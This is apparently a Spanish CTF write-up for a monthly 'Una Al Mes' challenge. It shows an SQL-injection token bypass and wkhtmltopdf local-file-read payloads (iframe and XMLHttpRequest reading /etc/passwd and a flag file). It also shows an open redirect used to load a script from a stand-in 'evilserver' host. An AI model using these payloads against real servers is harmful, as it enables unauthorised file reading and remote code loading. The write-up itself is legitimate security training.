UAM - Julio#

c5ad8f95b6c78cc9d635813c3f5f855e.png

Volvemos a la carga con el reto mensual de Una Al Mes, ¿qué troleada nos esperará hoy?

Reconocimiento inicial#

Nos encontramos una web en la que podemos registrarnos e iniciar sesión.

8416f07c9aebc0358ee0ed8ee6e1b57a.png

Revisando el código de la web vemos el siguiente fragmento de JavaScript ofuscado:


document.getElementById("item").focus();
var _0x1e50=['TOD','log','ish','):\x20','\x20an','int','nic','ow\x20','men','iro','le\x20','ple','O(h','the'];
(function(_0x886df4,_0x1e50a1){var _0x21eb8f=function(_0x40e947){while(--_0x40e947){_0x886df4['push'](_0x886df4['shift']());}};_0x21eb8f(++_0x1e50a1);}(_0x1e50,0x87));var _0x21eb=function(_0x886df4,_0x1e50a1){_0x886df4=_0x886df4-0x0;var _0x21eb8f=_0x1e50[_0x886df4];return _0x21eb8f;};function hi(){console[_0x21eb('0x6')](_0x21eb('0x5')+_0x21eb('0x3')+_0x21eb('0xc')+_0x21eb('0x0')+_0x21eb('0xb')+_0x21eb('0x8')+'Fin'+_0x21eb('0x7')+_0x21eb('0x9')+'d\x20e'+'nab'+_0x21eb('0x1')+_0x21eb('0x4')+'\x20pr'+_0x21eb('0xa')+'\x20im'+_0x21eb('0x2')+_0x21eb('0xd')+'tat'+'ion');}

Limpiando y ordenando un poco


var data=['TOD','log','ish','):\x20','\x20an','int','nic','ow\x20','men','iro','le\x20','ple','O(h','the'];
(function(data, index) {
    var reorder = function(index) {
        while (--index) {
            data.push(data.shift());
        }
    };
    reorder(++index);
}(data, 0x87));

// data = "iro,le ,ple,O(h,the,TOD,log,ish,): , an,int,nic,ow ,men"
var getItem = function(index, data) {
    index = index - 0x0;
    var item = data[index];
    return item;
};

function hi() {
    console[getItem('0x6')](getItem('0x5') + getItem('0x3') + getItem('0xc') + getItem('0x0') + getItem('0xb') + getItem('0x8') + 'Fin' + getItem('0x7') + getItem('0x9') + 'd\x20e' + 'nab' + getItem('0x1') + getItem('0x4') + '\x20pr' + getItem('0xa') + '\x20im' + getItem('0x2') + getItem('0xd') + 'tat' + 'ion');
    // "TODO(how ironic): Finish and enable the print implementation"
}

Lo que nos dará una pista sobre la existencia del endpoint /print

Tras registrarnos e iniciar sesión, accederemos a un ToDo List, donde podemos añadir y eliminar tareas.

37c63a9d0a28e7787a548f9e025f0387.png

Probando varios payloads típicos de STI/XSS no obtenemos resultados, por lo que pasamos al endpoint /print.

07db28df2eae6e5e23159951e3e3bc70.png

pero que

a843e8ce6b34130ed23e95076f2ffb9f.png

Como curiosidad, si hacemos From Hex en Cyberchef de la dirección bitcoin 0x7369206375656c61206375656c6120582d44 obtenemos si cuela cuela X-D. Baia baia, ya estaba preparando la cartera.

Activando /print#

Si intentamos acceder a /print, veremos que no tenemos permiso, y nos redirige a /subscribe

Probando varias SQLi típicas con una de ellas nos saltamos la validación del token 1" or "1"="1

a38ac47643ad9a88347043a2e08d4e43.png

Y dándole a imprimir:

8c3fefd863c5007858cafff2c67b6b0a.png

¡Ojo! ¡Tenemos texto en cursiva!

3243653fa1f804a025e2182ad8647c6c.png

Parece que cualquier fragmento HTML será interpretado por el conversor PDF.

El conversor PDF#

Descargando el PDF y analizándolo con exiftool obtenemos la siguiente información:


ExifTool Version Number         : 12.01
File Name                       : document.pdf
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2020:07:15 16:23:24+02:00
File Access Date/Time           : 2020:07:15 16:23:45+02:00
File Inode Change Date/Time     : 2020:07:15 16:23:27+02:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
Create Date                     : 2020:07:15 14:13:11Z
Page Count                      : 1
Page Mode                       : UseOutlines

El campo más interesante es Creator, buscando en Google sobre la herramienta wkhtmltopdf, vemos que se trata de un conversor HTML a PDF:

Interesante, en la versión que utiliza el servidor parece que podemos leer cualquier fichero.

Ruta A: Usando iframe#

Si accedemos al servicio localhost:8000, nos dirá una pista con la localización de la flag, aunque no es necesario:


<iframe src="http://localhost:8000"> </iframe>

4d1067e54208a370923b7835cdad57ef.png

Por lo que nos quedaria pedir la flag.


<iframe src="file:///flag.txt"> </iframe>

d6e25460bf29edc6103c93d2b80fd5fb.png

Y ya estaría resuelto

Flag: UAM{d03255b2e66affef2fd2c86332a26890}

Solo quedaria volver a la página de la UAM y enviarla.

6a455dd9fdd3ed7be84a30da025e74fe.png

Espera un momento…

67f6c2f35395818d9187ff0aea087eaa.png

Si nos fijamos hay un scroll bastante sospechoso. b5ae21005294686861928ede50a15f90.png Probemos a hacer el iframe gigantesco y ver que más nos puede ofrecer.


<iframe src="file:///flag.txt" height="10000px"> </iframe>
30765bf4313131377f97083088bc2cfa.png Seguimos haciendo scroll…. 3370bfa20915f22015a4ac7a4bed8151.png

¡Ahora sí! Flag: UAM{dfe2e5a16a35044e273ca531939787b8}

Ruta B: Usando script#

En una issue de Github del propio proyecto (https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536) tenemos un PoC funcional:


<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

</body></html>

Adaptándolo ligeramente para nuestro caso de uso:


<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>

1ee201bffaf470ae480eec6de0973530.png


<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///flag.txt"); x.send(); </script>

b5e28a51264abb792b647698aba1e5a2.png

Extra! Extra!#

En la raíz podemos ver la URL http://34.253.120.147:1730/redirect?url=%2Fregister, la cual es un Open Redirect de manual.

Ejemplo: http://34.253.120.147:1730/redirect?url=https://www.youtube.com/watch?v=dQw4w9WgXcQ

Podría haber sido necesaria en caso de que el conversor PDF fuera más estricto o hubiera un WAF que nos eliminara/filtrara el payload antes de pasarselo al conversor, por ejemplo eliminando todas las referencias a páginas externas o bloqueando el protocolo file, algo asi como if !URL.startsWith('http://34.253.120.147:1730...'.

Para saltarnos restricciones así, podríamos usar:


<script src="http://34.253.120.147:1730/redirect?url=http://evilserver/payload"> </script>
y desde nuestro server ejecutar lo que queramos.

Cualquier feedback sobre el writeup es bienvenido :)